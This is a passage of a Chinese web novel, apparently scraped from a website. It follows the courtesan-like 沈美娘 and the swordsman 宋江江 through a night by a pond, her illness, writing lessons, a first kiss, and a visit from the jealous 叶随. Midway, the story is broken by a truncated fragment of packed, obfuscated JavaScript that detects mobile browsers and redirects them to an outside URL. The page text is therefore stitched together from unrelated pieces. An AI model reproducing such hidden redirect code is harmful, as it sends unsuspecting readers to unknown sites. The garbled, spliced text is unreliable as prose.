两人逐渐从田泽走进林中,眼前是清澈温柔的月色,耳边是青蛙打鼓声和不住的蝉鸣,直到来到一个小溪汇集而成的水潭边,沈美娘才驻足停下。 “就是这里。”沈美娘坐到水潭边,仰头笑道,“好看吧?” 宋江江望着人迹罕至但清澈见底的水潭,里头还有小鱼在里头隐隐约约游动。 他点头:“好看。” 沈美娘得意:“那当然,你当我每日在芙蓉谷闲逛,真是闲得慌不成?我可知道好多旁人不知道的好地方。” 说着说着,沈美娘就想逗宋江江:“就比如,这里就很适合杀人藏尸,没个三年五载,肯定没人能发现。” 见宋江江惊讶,应该是想教育她,沈美娘又道:“我胡说的,你别又当真。” 这个小剑客呢,什么都好,就是有时候太容易分不清开玩笑和真心话了。 “我带你来这儿,不是为了杀人,我是想问问你,白日里你被叶随打断的话。”沈美娘随口道。 她其实也不清楚,自己为什么要一时糊涂,把宋江江带到这里来。 她总不能和宋江江说,自己是看他吃别的男人醋不高兴,想逗他开心吧? 那也太丢面子了! 宋江江也没想到沈美娘会问这个。 但想到这里人迹罕至,沈美娘又可能是他妈妈故乡的人…… 沈美娘是知道两人说话的内容很敏感,可能会招惹祸事,才特地带他到如此偏僻的地方的吧。 “沈娘子,你知道一些我娘亲家乡的事,你知道的那里和这里不一样……” 宋江江压低声音:“在那里人人都可以读书,犯了错也会被警/察捉起来。” “你说什么?”沈美娘皱眉。 什么“警/察”?还“人人都可以读书”? 这个宋江江又在这里给她编故事是吧? “就是……我忘了在我娘亲的那个世界是人人平等,没有皇帝和贵族的,和大燕不一样,对……” 宋江江的“对不起”还没说完,就被沈美娘猛地捂住嘴,她急道:“快别说了!” 沈美娘真是被这个宋江江吓死了! 要是知道他会说出这种东西,她还不如丢脸承认自己今天是想让他开心点。 “宋江江,你给我听好了。”沈美娘难得正色,“今夜你说的话,我全当我没听见。” “你如果不想人头落地,今天晚上你和我说的话,以后你一个字都不能和别人说。”沈美娘紧紧盯着宋江江。 宋江江:“我的话说错了吗?” “或许错了,也或许没错。”沈美娘已经没有一开始那般惊讶,她只是好奇,“这些道理是你自己悟出来的?” “不是。”宋江江道,“我娘留给我的札记上都是这么写的。” “还有札记?”沈美娘忍不住道。 “对,有好多本,我只看了其中一部分。”宋江江诚恳道。 沈美娘建议:“你改天找日子把札记烧了,或者埋深点……” 这要是被其他人看到,宋江江人头落地都是轻的——这种东西,诛十遍九族都够了。 沈美娘又问:“你没对别人说过吧?” “没有,我从来不和旁人说这些。”宋江江道。 沈美娘挑眉:“那你怎么和我说呢?” “你……不算旁人。”宋江江小声道。 沈美娘听到这话深深看了眼宋江江。 嘶,看不出来嘛,这个小剑客,还真是越来越厉害了。 果然跟着她沈美娘,木头也会变得嘴甜。 “你是我救命恩人,不算旁人。”宋江江又道。 沈美娘沉默。 得了,她就不该对宋江江有过高期待的。 他就是块木头!还是实心的! 沈美娘虽不准宋江江说那些大逆不道的话,但心里对宋江江所说的所谓家乡很是感兴趣。 “你说的那个地方当真人人都能念书?”沈美娘对这一点格外关注。 “嗯!”宋江江谈及那个他从未去过的所谓故乡,眼里就被憧憬的情绪填满,“在那里,读书是不要钱的,只要交一点点书本费就好了!男生和女生能够坐在一个学堂里念书,女孩子也可以当官的!” 宋江江谈起这些笑得眉眼弯弯,沈美娘不由被他描述的那个世界吸引。 “还有!那个世界幼有所育、老有所养,像圣人书里说的那样,可以夜不闭户,也不用担心有贼人!农户也不用交口赋和地租……” “停!别说些掉脑袋的话。”沈美娘及时叫停宋江江。 不过嘛,听这个宋江江的话,那个世界还真是很不错。 如果能去那个世界活着的话,真是叫人死一次都愿意。 也难怪宋江江说什么都要去明州,不肯留在这里给她当护院。 沈美娘问:“你是在那里长大的?” 听这小剑客说的活灵活现,真像是在那个世界活过一般。 宋江江摇头:“我没去过那里,我娘回家时也没带我,她说比起那里,这里更适合我。” “说不定那里也没那么好呢?”沈美娘道。 哪个地方都有龌龊,更何况是一个都没去过的地方呢? “那也没关系。”宋江江不知不觉就把自己的心里话说出来了,“反正那个地方肯定是比大燕更好,我想把那里的技术和制度都带到大燕来,最好再把那里的人才也带过来!” 宋江江攥紧拳头,意气风发:“我想让大燕变得更好!” 沈美娘听不懂什么“技术”“制度”,就听懂了个“人才”,但也大抵猜到了宋江江的意思。 她不赞许地皱眉。 得了吧,就光女人和男人能一起读书,再有几百年都不一定能做得到。 更别说什么免赋,什么“人人平等”了…… 不过沈美娘也没有打击小剑客,神色复杂道:“祝你成功。” 等这小剑客多被几家“黑店”毒打几次,他就知道人心险恶,不会做这种不切实际的梦了。 宋江江突然又问:“你不是也知道那个世界的事吗?我之前就想问你的,你究竟是不是我娘……” “咳咳……”沈美娘猛地咳嗽几声打断宋江江。 这个小剑客怎么对自己是不是他娘老乡,这么在意啊? “你没事吧?是白日里受了什么伤吗?怎的突然咳嗽了?”宋江江丝毫没意识到自己轻而易举就被转移了话题。 沈美娘点了点宋江江的额头,逗他:“小剑客你真是笨死了,我白日里就算受伤也是受的皮外伤,跟咳不咳嗽有什么关系?” “那是入夜受凉了吗?我们还是快些回吧。”宋江江又道。 “没有啦!”沈美娘看宋江江笨拙却善良的模样,娇嗔道:“我从小就喜欢到处跑,跟个野孩子差不多,身子比寻常人强壮不知多少。”< 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沈美娘瞧宋江江这样子,笑道:“小剑客,你这是看傻呢?” 宋江江听到沈美娘的话,才反应过来:“好看的……不知道沈娘子这是跳的什么舞?” “《无题》舞。”沈美娘道。 见宋江江一脸不解,像是不明白她为何要给这支舞起这个名字。 沈美娘:“这支舞是我家乡的,大家都是这么跳的,当然也有我编的动作……我也还没想好给它取什么名字。” “你是觉得这支舞和别的舞都不一样,对吧?”沈美娘问。 宋江江坦诚道:“和我从前看到的所有舞都不同。” “这就对了。”沈美娘重复刚才舞里的动作,将手搭在肩上走了几步,“你说这是从寻常生活里哪个动作,编出来的舞蹈动作?” “背书箧?” “不是,这是担水!” 宋江江没想到他认为的高雅、优美,只属于少数人的舞蹈,居然会和劳作相关,不由惊讶。 沈美娘又将手在身前交叉摆动,脚上也跟着动作:“这个呢?” “不知道。” “这是割草。” 她俯身笑着,手像是拈花般拨动。 “这个我知道!是赏花!”宋江江欢喜抢答。 “也不是。”沈美娘又将手上往身侧贴了贴,做完整个动作,“这是采春茶。” 沈美娘将手拂过水潭:“这个动作是汲水。” “这个动作是推磨。” “这是梳头。” …… 沈美娘一一把刚才所有的舞里的动作,都拆解给宋江江看了一遍。 “这支舞是我最喜欢的舞,它是我家乡的缩影。”沈美娘大大方方道,“我很喜欢我的家乡,我也想把这支舞送给你。” 宋江江看到沈美娘站在那里,她没有因身份卑微就自轻自贱,相反她似乎很骄傲那些过去。 即使是黑夜里,沈美娘依旧耀眼夺目,比天上的星星和明月都更加流光溢彩。 看着这般自信、张扬、明媚的沈美娘,宋江江根本就无法挪开一丝目光。 “谢谢你,我很喜欢。”宋江江珍重道。 “我也喜欢欣赏我舞蹈的人。”沈美娘笑得愈加灿烂。 不是时时刻刻挂在脸上的微笑,也不是为了讨好贵人们的谄笑,更不是气到极致的冷笑。 沈美娘此刻就是纯粹的开心。 她是真的喜欢跳舞,更高兴有人喜欢她的舞蹈。 沈美娘挑眉:“小剑客,这支舞我从来没给别人跳过,你可是第一个看到的!” 宋江江听到这句话一怔,被一种奇怪而陌生的感觉充斥。 他想起书上说的“怦然心动”。 原来这就是那种感觉啊。 15. 第15章 沈美娘那夜刚和宋江江说完她“身体好的不得了”,结果回去当晚就发了高热。 她皱着眉喝了青词给她熬的药,折腾了半夜总算是把烧退下去了。 宋江江说她这叫“打脸”。 打脸? 听起来就不像什么好词,沈美娘裹紧被子,哑着嗓子也要怼回去:“人吃五谷杂粮,哪有不生病的?” “小剑客,我这是不小心生病的,总比你自己多管闲事差点丢了小命好。”沈美娘不服。 宋江江辩驳:“我那是见义勇为……嗯,就是‘路见不平,拔刀相助’的意思。” 沈美娘撇嘴:“那就是多管闲事。” “是见义勇为。” “多管闲事!” “见……” “你俩多大了,为了这么点小事也能吵起来?”宝儿端药进来,把两个人都训了一顿。 枉她从前还觉得宋江江是个稳重的,现在看来还没她懂事。 这些大人明明比她大四五岁,怎么比她还像小孩? 沈美娘嬉皮笑脸找宝儿要认同:“宝儿,咳咳……你看我说的才对吧,他那就是多管闲事。” “沈美娘!你还病着,能不能少说话?昨晚不是还喊你喉咙跟刀刮一样疼吗?”宝儿没好气道。 “生病也不能把架吵输了啊……”沈美娘小声嘀咕。 她这辈子在吵架和打架这两件事上就从没输过。 沈美娘把药一口喝完,整张脸被苦得皱皱巴巴:“什么药啊,苦死了!” “良药苦口。”宝儿给沈美娘递了枚蜜饯,“谁叫你大半夜还在外面逛,受着吧你。” 沈美娘撇撇嘴:“叫我安分听话,还不如叫我去死。” 就是说下次还敢。 等宝儿出去了,宋江江才道:“对不起,我不该和沈娘子你吵架,我忘了你还是病人了。” “没事,本娘子大人有大量,不会同你计较的。”沈美娘展开她的扇子又想扇风。 结果她刚拿出来,宋江江就道:“你还生着病,小心又着凉。” 沈美娘思索片刻,将扇子抛给宋江江:“好吧,那我不扇了。” 宋江江接住扇子,注意到扇子纸面上的“翩翩公子”四个字。 这四个字写的刚劲有力,一看就是自幼攻书的人写的,很显然不会是沈美娘的笔迹。 背面的纸上则歪歪扭扭地写着“沈美娘”三个字。 宋江江大脑转得飞快,想起从旁人口中了解到的沈美娘的过去。 他们都说沈美娘原是一个给叶司马行卷的书生的侍女。 她生得好看,得了叶司马青眼,那书生就把沈美娘送给叶司马了。 沈美娘看出来宋江江在走神,丢了个果壳砸他:“想什么呢?” “这把扇子对你很重要吗?”宋江江问。 沈美娘也不知道一把扇子有什么好问的,随口道:“重要啊,它挺好看的,我很喜欢。” 宋江江盯着上面那几个字,又道:“这字是谁写的啊?写的还挺好看。” 他看似平静,心里却忐忑至极,生怕沈美娘给他不想要的回答。 “好看吧!我也觉得好看!”沈美娘从床上起身,小跑到宋江江身边。 她指着纸扇上的“沈美娘”三个字,得意洋洋:“这三个字可是我写的!宝儿总说丑,我瞅着不是挺好看嘛。” “你说是吧?”她满怀期待看着宋江江。 “好、好看。”宋江江被沈美娘这样看着,心里的感觉愈加奇怪。 这种奇妙的感觉,很像昨夜沈美娘告诉她只给他一个人跳过那支舞的感觉。 他瞧着沈美娘亮闪闪的眼睛,鼓起勇气又问:“那个这个字呢?是谁写的啊?” “好啊……原来你是觉得这个字好看!”沈美娘气鼓鼓道。 宋江江生怕被她误会,急忙辩解:“不是不是!这个字丑死了,比不上沈娘子字的一根头发丝。” 他又补充道:“真的!” “好吧,那我暂且相信你。”沈美娘挑了挑眉。 她指着另一面上的字,解释道:“这个字是我上一任主人写的,就是传闻中,那个把我献给叶司马的主人。” 宋江江听到沈美娘说的是“上一任主人”,不是“第一任主人”,品出了她的意思。 也就是说,她曾经有过很长一段颠沛流离的生活。 宋江江没想到他会勾起沈美娘的伤心事。 他真是该死。 沈美娘却没一点不高兴,反而很欣喜:“小剑客,既然你会说那么多我听不懂的词儿,那你是不是也会写字?” 什么? 宋江江道歉的话被咽回去,愣愣地点头。 沈美娘闻言笑开:“那你教我写字好不好?” 宋江江看着她在乱糟糟却又能精准找到每件东西的箱子里翻找。 她扒拉出来笔墨纸砚,递到宋江江手里:“你拿好,明天开始我就和你学!” “可是你的病……”宋江江有些迟疑。 沈美娘摆手:“今天喉咙痛完,再咳嗽个三五天就差不多了,我自己的身体我清楚。” 她上床裹着被子坐好:“今天我就不学了,但你得写给我看。” 宋江江还是担忧沈美娘身体,但都被她又堵了回来。 他只好搬了张小几,在沈美娘床前坐下研磨:“写什么呢?” “你先给我写写‘沈美娘’三个字。”沈美娘兴冲冲道。 宋江江提笔在纸上写她的名字。 沈美娘眼睛一眨不眨地盯着他的动作。 看到她的名字被宋江江写出来时,沈美娘忍不住笑出声:“我觉得写字真是件很神奇的事情。” 宋江江不解地望着她。 “真的很神奇啊,也不知是哪位先人创造的。大家就这么写出来就能认识,还能一代代流传下来。”沈美娘认真道。 宋江江听到沈美娘的话,发现这是他从来没想过的角度。 听沈美娘这么一说,似乎真的是十分有趣。 “神话传说里,说是仓颉造的字,还要感谢始皇帝书同文。”宋江江道。 他没想到沈美娘求知若渴般听着,她用力点头:“我记下了!” 她笑得愈加开心,似乎是为自己又学到了新的知识。 宋江江不自觉也被沈美娘的笑容传染。 “宝儿、文、七这些字怎么写?”沈美娘又问。 宋江江笑着在纸上写下这几个字,指着上面的字,一一教沈美娘:“这个是宝,这个是儿……” 沈美娘全神贯注听着。 不到半刻钟,她就欢喜指着那些字道:“这个是宝儿,这个是文和七” 宋江江颇为意外地点头。 他没想到沈美娘学东西居然这般快。 如果她从小就接受良好教育的话,她现在一定会是很有名气的才女。 “宋江江!”沈美娘记下了那几个字,又追问:“那你的呢?” “什么?”宋江江一时没反应过来。 沈美娘双手撑着下巴:“我说,你的名字呢?‘宋江江’三个字怎么写呢?” 原来沈美娘是在问他的名字。 宋江江捏着笔的手更用力了几分,格外紧张地在白纸上写下“宋江江”三个字。 “宋、江、江……”沈美娘缓缓念着这三个字。 明明她就是很正常的认读,但宋江江总觉得她的声音莫名勾人,让人浑身酥酥的,脸也热了起来。 宋江江匆匆站起来,背过身去:“我、我出去一下。” “干什么……”沈美娘看着宋江江落荒而逃的背影不解。 不过她更多心思还是在那些字上。 知识比宋江江的反常重要一千倍。 宋江江吹了吹凉风,深吸了好几口气,才压下刚才的异样。 屋内的沈美娘认全了那些字,还是觉得不过瘾,于是坐起来试着模仿宋江江的字写写试试。 可是不管怎么写,都让她不够满意。 宋江江的字比她折扇上的字更好看,有种很方正的感觉。 比起那种张扬的字,她更喜欢这种看起来厚重古朴的。 这个小剑客剑术好也就算了,还这般有学识。 看来就算不能把他长久留下来,也得趁着他人没走,向他多学点东西才是。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14946758|160423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 不知道是不是沈美娘学得太认真受了凉,黄昏时又发起了高热。 青词给她喂了药,也迟迟不见有什么效果。 沈美娘烧得昏昏沉沉,还是强撑着打起精神和几人开玩笑:“放心吧,死不了的,我命贼硬。” “不许乱说!”宝儿哭得眼泪纵横,“都怪我信了江瑞的话,才害得你进城又是差点受伤,还回来就病……” “跟你没关系,你别哭,本来我就耳朵嗡嗡响。”沈美娘道。 宝儿闻言捂住嘴,眼泪却还是没停。 “青词,你把她带出去,我一个人躺会儿。”沈美娘又道。 见几人迟迟不动,她又解释:“我真没事,就是想一个人静静……你们不放心,就让宋江江留下吧。” 就宝儿那个爱哭鬼,要是青词不去安慰她,她能哭一整晚。 青词把宝儿带出去后,沈美娘用被子捂住脸:“终于清静了。” “不就是发个高热嘛,都这么紧张做什么,死不了人的。”沈美娘的声音从被子底下传来。 她真觉得没什么,就是小病而已,不知道他们在紧张什么。 宋江江:“都怪我,我……” “停!”沈美娘打断宋江江反省道歉的话,“宝儿年纪小我得哄着她,你就别给我添麻烦了。” 宋江江闻言闭嘴。 半晌,沈美娘感觉自己的枕边一重,她从被子里探出头,就看到了两个新的风铃。 没等她开口,宋江江就先一步解释:“之前把你的风铃弄坏了,总得赔你新的。” 他昨夜就发现了那水潭里的石头,和沈美娘床上风铃用的石头很像。 白日下午里,他又去了一趟,确定她的风铃用的石头就是那里的,就用那些石头给沈美娘做了新的风铃。 沈美娘伸出手摸了摸那两个新风铃。 她脑子被烧得有些迷迷糊糊,有些迟钝地问:“你是说……你一个人下午又专门去了水潭一趟,还把风铃修好呢?” 见宋江江点头,她很是认真道:“宋江江,你真贤惠。” 会做饭、会劈柴、会武功,还会识字读书,连做风铃都会。 “谢谢。”宋江江挠了挠头。 虽然,好像用贤惠形容男人有点少见,但……这应该也算是夸奖吧。 那就该说谢谢。 “不用谢!”沈美娘真的被烧糊涂了,“那你把我的风铃也挂起来吧。一个挂我床上,一个挂门外!” “现在有些晚了,而且我还得照顾你。”宋江江道。 沈美娘也很好商量:“那你先在我床上挂个吧!” 宋江江有些迟疑。 “好不好嘛?”沈美娘撒娇。 宋江江只好拿起风铃,跪在床沿边尽量不碰到沈美娘。 沈美娘盯着宋江江小心的动作,目光又从他修长的手,挪到他为了系风铃而仰起的脸上。 宋江江平常傻乎乎的就够好看了,此刻认真做事就更好看了。 “宋江江……”沈美娘突然道。 “嗯。” “我其实真的看上你了。”她道。 至少宋江江这张脸,是完全长在沈美娘心坎上的。 “哦——啊?”宋江江愣了一下,才反应过来。 他的手拂过系好的风铃,叮叮咚咚的响声,就像他此刻的心跳般凌乱。 沈美娘依旧紧紧盯着宋江江,叫他没有机会躲闪。 难道这就是所谓的“告白”? 沈美娘这是和他告白呢? 宋江江说不出拒绝的话。 可是他从来没想过,有一天他会和这个世界的女人成婚。 不过……如果是沈美娘的话,似乎也很不错。 “沈娘子,多谢你的喜欢,我……” 宋江江的“我愿意和你共度一生”还没说完。 沈美娘就用被子捂住脸,虚弱但语气坚定:“等我出人头地了,我要养十个你这样的男宠。” 宋江江能听出来后面这句话里,沈美娘的语气比刚才真切许多。 他默默不语,半晌,扯了下嘴角。 算了,沈美娘是病人,让让她好了。 16. 第16章 沈美娘睡得昏昏沉沉,她已经好久没有这般病过了。 梦中,她好像听到了银铃般的笑声。 是五岁的自己被父亲架在脖子上,她一点都不害怕,反而好奇地观察在高处才能看到的风景。 白而轻的云雾挂在山间,远山连着更远的山,她好奇不已——山的外边会是什么呢? 外边是不是真的有堂姐丽娘说的“云梦泽”,又是否真的有比族长家还气派的吊脚楼,外头的人肯定不会同寨子里的人一样,觉得她是孽种了吧…… 她还没想出答案,就被阿娘急急忙忙抱了下来。 阿娘用力拍了爹爹一巴掌:“沈文,你干什么!没个正形,把美娘摔着了怎么办?” 小时候的她会拽住阿娘的衣裳,乖乖道:“七娘,你别骂爹爹,是我自己想玩这个的。” 沈美娘看到阿娘无奈揉了揉自己的头发,给自己递了一块饴糖,小小的她慢慢地舔着。 阿娘推着磨,说要给她做最爱吃的豆花。 爹爹则拿了梳子帮她梳好看的头发。 风吹动楼前的山茶花,红的、白的花朵,都随风招展,一切都很美好。 可她眨了眨眼,全都不见了。 只剩自己站在山垭处,回首望着连绵群山。 她手里捧着木盒,目光坚定:“我会出人头地的。” 等那个时候,她就可以回家了,还是风风光光、堂堂正正地回来。 “我一定会出人头地。”沈美娘喃喃着睁开眼。 窗外的天已大亮,她愣了好一会儿,才意识到她是梦到从前了。 她看到床上的风铃,回想起昨夜和宋江江的对话,难得有些心虚。 当着别人面说要找十个像他的男宠,确实有点过分了。 然后,她就看到了抱着一壶水,靠着她的床熟睡的宋江江。 从沈美娘的位置看过去,只能看到宋江江的侧脸,但即使这样他的脸也过分好看。 可能是逆光的缘故,显得他的眉目愈加深邃。 老实说,宋江江其实很清冷薄情的长相——除了他的眼睛。 沈美娘还没来得及继续端详,宋江江就像是有所察觉般睁开眼。 他原本偏圆的杏眼,一看到是沈美娘,就笑得弯弯像月牙:“你醒啦!有好些吗?要喝水吗?” 沈美娘定神又看了眼宋江江。 真不怪她喜欢这张脸。 这种不笑时宛如谪仙般出尘,但笑起来就……像条傻狗的脸真的挺招人喜欢的。 至少招沈美娘喜欢。 “给我倒杯水。”沈美娘道。 她接过宋江江递给她的杯子喝了一口,发现居然是热的,疑惑:“你昨晚没睡?” 不然怎么可能她一醒过来就有热水喝。 “我怕你要喝水,发高热喝冷水不好。”宋江江像是说一件小事般。 沈美娘闻言又喝了一口水,目光沉了沉。 宋江江却以为她是不信,解释:“我小时候也发过一次高热,差点就没命了。” 他知道发高热时有多难受,才会如此细心照顾沈美娘。 沈美娘闻言终于明白,为何昨夜宋江江一直守着她了。 原来这小剑客是真觉得她可能会死。 沈美娘很想得开:“可你不是没死嘛,大难不死,必有后福。” 宋江江还活着不就说明,发高热不也就这样吗?有什么好怕的。 “可是那以前的记忆,我基本上都记不得多少了。”宋江江道。 沈美娘:“你那时候几岁?” “八岁。” “你要这么想,就算不发高热你那时候那么小,也记不得多少。”沈美娘安慰他。 宋江江一想,好像也是。 他发现沈美娘在安慰人上,自有她的一套歪理。 “你干什么,”宋江江看到沈美娘像是要起床,“你再躺着休息几天才是。” “没事!”沈美娘披衣起身,“我高热已经退了,剩下几天就是咳嗽了。” 宋江江看沈美娘真开始穿衣,急忙躲到屏风后面去。 “躲什么?咱俩都多熟了。”沈美娘对什么名节是一点都在意。 宋江江显然不是,他还是不愿意出来。 沈美娘就把风铃扔给他:“那你去把我的风铃挂到屋檐下吧。” 不然在这里扭扭捏捏的,她看着眼烦。 宋江江果然听话地去搬木梯挂风铃了,沈美娘换好衣裳出来时,宋江江刚系好。 他看到未施粉黛的沈美娘出神片刻,才不好意思地别开眼:“沈娘子,你看挂这里可以吗?” 沈美娘斜倚着门,仔细盯了好一会儿:“不行。这里常吹西南风,你得迎风挂,风铃才会经常响。” 宋江江只好把风铃取下来,又把梯子挪到竹屋另一边。 那边的地上有青苔,沈美娘便过去帮他扶着:“你上去吧,我帮你扶着,不会打滑。” “好,多谢沈娘子。” 沈美娘仰起头,看宋江江爬到高处,指了指檐下问她:“挂这里?” “嗯。” 宋江江手教麻利地将风铃系好,却在下来踩在湿滑的石板时,脚底打滑。 他没摔在地上,却被熟悉的香味包裹。 “小剑客,是你自己往我怀里摔的哦,你该不会是故意的吧?”沈美娘含着笑意的声音传来。 宋江江仰头,就看到沈美娘温柔多情的眼,鼻尖也萦绕着令人沉醉的香味。 他大脑一片空白,像是已经醉死在这片刻的温柔和馥郁里。 沈美娘也没有推开少年,她确实很喜欢宋江江的脸,也有那么一点喜欢他这个人。 她喜欢,她就想要。 她想要就一定要得到。 沈美娘换了个姿势,将少年抵在竹屋的房柱上,踮起脚吻了上去。 沈美娘也是第一次亲除爹娘以外的人。 有人教过她该如何亲男人,她也听过不少故事里令人面红耳赤的桥段。 但在这个风和日丽的清晨,她只是很轻柔地吻了吻宋江江。 接吻也不过如此嘛。 根本就不像他们说的什么会全身酥软、会气血上涌,明明就是很平常的两块肉相碰而已。 无趣。 沈美娘站定,开始思考该怎么处理刚才的举动。 宋江江还保持贴着柱子的动作,仍旧震惊于沈美娘的吻。 他不可置信地伸手摸了摸自己的唇。 如果不是刚才的触感太过清晰,他都要怀疑一切都是他的臆想了。 宋江江知道他刚才是完全可以推开沈美娘的。 事实却是在沈美娘靠近的那一刻,他的身体就像是知道沈美娘要做什么般,没有一丝一毫的抵抗。 他用力攥紧拳头,才从刚才的大脑宕机中回过神。 然后……他察觉到了自己身体的某些变化。 宋江江连忙飞也似地离开:“沈娘子,我、我先告辞了。” 正准备和他说清想法的沈美娘,张口喊了好几声“别走”,这小剑客都像是没听到般。 沈美娘皱着眉,想了好一会儿,最后得出的结论是可能自己吓到宋江江了。 她看到宋江江也没去院子和厨房,而是转身进了他那屋。 过了半个时辰,她看到宋江江换了身衣裳,还抱了刚才的衣服和被褥什么的出来洗。 沈美娘不是什么都不懂的闺阁姑娘,稍微想想,就明白宋江江刚才去干什么事了。 看到宋江江坐在院子里,做贼似的洗衣服,她内心也难得有些不知所措。 但等沈美娘走到宋江江身边,她喜欢逗弄人的毛病就又上来了:“你挺快啊。” 宋江江洗被褥的动作一顿,抬头看了眼沈美娘。 沈美娘这才发现宋江江黑脸了。 “你不快,行了吧?”沈美娘改口。 果然看起来再好脾气的男人,都还是介意被别人说快的。 她抱着裙子蹲下,宋江江这下倒是不黑脸了,就是眼里还是有她看不懂的神情。 不像讨厌,也不像怨恨,是别的沈美娘很陌生的情绪。 沈美娘拽了拽宋江江的衣角:“我又没强迫你,你不是也没拒绝嘛,怎么搞得好像我轻薄你一样……” “不是你的错。”宋江江道。 “当然不是我的错!”沈美娘急忙道,“我也是第一次亲人好不好?被我这种大美人亲,是你该谢谢我,好不好?” 宋江江洗衣裳的手一顿,梗着脖子道:“我也是。” 他也是?他是什么?他也是大美人?! 沈美娘思考了片刻,才反应过来宋江江所谓的“他也是”是什么。 “小剑客,你居然没亲过人?”沈美娘惊呼。 宋江江:“有什么好奇怪的吗?” 当然奇怪! 这个小剑客 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宋江江用清水洗干净手,又用帕子擦干水,才握住沈美娘的手:“沈娘子,我喜欢你,如果你愿意,我想娶你。” 沈美娘迎着宋江江坚定的眼神,清楚他不是在开玩笑。 不是——不就是亲一下吗?这就上升到男婚女嫁的地步啦? 沈美娘倒不想拒绝宋江江。 她挑男人的三个准则,要么很有钱,要么很有权,要么长得合心意。 宋江江恰好符合最后一条。 更别提,她一开始就想留下宋江江做她的护卫,给她卖命。 “我……” 沈美娘答应的话还没说出口,就被一道男声打断:“美娘!” 叶随提着大包小包来看她了,不过看他今日的打扮,不用猜也知道他肯定是偷偷来的。 沈美娘连忙将手从宋江江手中抽出。 宋江江眼中闪过一丝错愕,又低头继续洗衣裳,没有在叶随面前纠缠沈美娘。 叶随注意到了宋江江:“怎么又是他?” 他原本找管家想把这人从沈美娘身边调走,却得知这人是青词的亲戚,是他爹亲口答应放到沈美娘身边来的。 但他总觉得这人有古怪。 “主君安排的护卫很足,平日里也会让他们帮忙做做洒扫的工作。”沈美娘解释。 “洗衣做饭的活,也就这些出身下贱的人干了。”叶随鄙夷道。 宋江江对叶随的话没有反应,低着头继续干活。 沈美娘笑:“二公子说的是,外头日头大,奴怕晒着公子,咱们进屋去说话吧。” 叶随颔首,但心里那口气顺不过来,踹开宋江江面前的木盆:“你这活不急,去把爷的马喂了。” 他今日是和小厮骑马来的,从南州城到芙蓉谷可不近,他现在都有些腰酸腿疼了。 “是。”宋江江谦卑道。 沈美娘看宋江江听话离开的背影,眸色深了深,转过头看向叶随时笑意更浓:“二公子,你骑马来的,想必定然累了吧,不如奴替你揉揉肩、捏捏腿吧?” “好啊,那便多谢美娘了。”叶随握着沈美娘的手,爱不释手地摸着。 一想到这双柔弱无骨的手,等会儿要帮他揉腿捏肩,说不定他还能做点别的事,叶随就欢喜得狠。 沈美娘将门窗关好,对叶随柔柔道:“公子你躺好。” 叶随满怀期待地闭上眼准备享受,就猛地腰间一疼,还是钻心般的疼。 他想挣扎,就听到沈美娘柔柔的声音:“二公子,奴没用力啊?难道这般公子就不行了吗?” “可、可以。”叶随不愿丢脸,只得哆哆嗦嗦道。 下一刻,他的肩又被狠按了几下,他疼得想起身,可是却被沈美娘按住动弹不得。 “二公子,是奴还按得不够用力吗?”沈美娘加重了力道。 叶随忍了一会儿,实在是忍不住了。 在被沈美娘狠按了几下大腿后,哭爹喊娘地挣扎着起身:“不用了。” 沈美娘顺势跌坐在地,双眼微抬,还带着不解和泪花,瞧着当真是柔弱无助。 叶随原本怀疑沈美娘是故意整他的心思被按了下去。 美娘能有什么坏心思呢? 17. 第17章 沈美娘手上下了很大的劲儿给叶随“按摩”。 她就是故意报复叶随的,这人刚才居然敢踢宋江江的盆! 小剑客她能逗、能捉弄,但她决不许别人欺负他。 叶随扶着腰起身,见沈美娘还想帮她揉腿,连忙推拒:“美娘不必了,你去把门窗打开透透气吧,有些闷了。” 要是再被沈美娘按几下,他真的毫不怀疑会被疼死。 叶随又注意到桌上的纸笔,有些意外:“美娘,你是在习字吗?” “哪有……奴婢对这些没兴趣,是邻家赵娘子找我借纸笔,说是要给兄长写家书。”沈美娘谎话那是张口就来。 叶随点头:“也是,你也不必读书习字。” 沈美娘长了这张脸,会唱歌跳舞就够了。 “二公子喜欢什么,奴就喜欢什么,奴只盼着能日日陪在公子身边。”沈美娘主动抱住叶随。 她知道叶随好糊弄,但也怕万一被他看出自己在念书。 叶司马是不让她识字的。 叶随被沈美娘突然抱住,一时也没反应过来。 沈美娘虽祸水的名声在外,但叶随平日里其实也就摸摸她的小手,也不敢真的勉强她。 不然她喊一声,外头那些他爹派来的护院肯定会进来。 此刻被沈美娘抱着,他佳人在怀,什么也顾不得了。 叶随收紧怀抱:“美娘,我一定会让爹爹把你送给我的。” “好,奴等着那一天。”沈美娘柔声应道。 在叶随看不见的地方,她的目光却依旧淡漠。 讨要她吗? 叶随怕是永远都别想办成了。 叶司马把她从十二岁养到十八岁,可不是什么好心肠,而是有大用途。 一个儿子而已,怎么比得上他的仕途呢? 临别时,沈美娘又给叶随送了一个荷包:“二公子,奴只愿你好就可以了。” 叶随一步三回头,承诺:“美娘,你等着我。” “好。”沈美娘笑着点头。 叶随注意到沈美娘身边的宋江江。 即使他站在伺候沈美娘的侍女身后,叶随还是不喜欢这个人的存在。 尤其是他想起他今日来时,看到沈美娘抱着裙摆,和这人说话时的场景。 沈美娘居然对他笑了,她居然对一个卑贱至此的护卫笑了! 那种笑是沈美娘都从来没对他露出过的笑容。 叶随骑着马从竹舍离开后,唤来小厮:“那个宋江江是良籍?” “是。” 是良籍就不好办了,若是贱籍还好做…… 良籍的话,处理不好,说不定会吃官司。 可一想起那个男人碍眼的存在,叶随心中就妒火肆虐:“去帮我做件事。” 他要让这个宋江江从沈美娘身边永远消失。 - 可能是发高热的缘故,沈美娘连着好几日胃口都不好,更别说宋江江做的不是粥就是什么汤的。 宋江江这日给她送了饭,她吃了两口就不想吃。 想到粮食来之不易,沈美娘最后还是勉强把它吃完了:“宋江江,你晚上给我少盛点。” “吃的太少对身体不好。”宋江江道。 沈美娘毫不犹豫摇头:“可是你盛太多,我吃不完倒掉实在太可惜了。” 宋江江煮面耗食材沈美娘能忍,反正最后都是进肚子里。 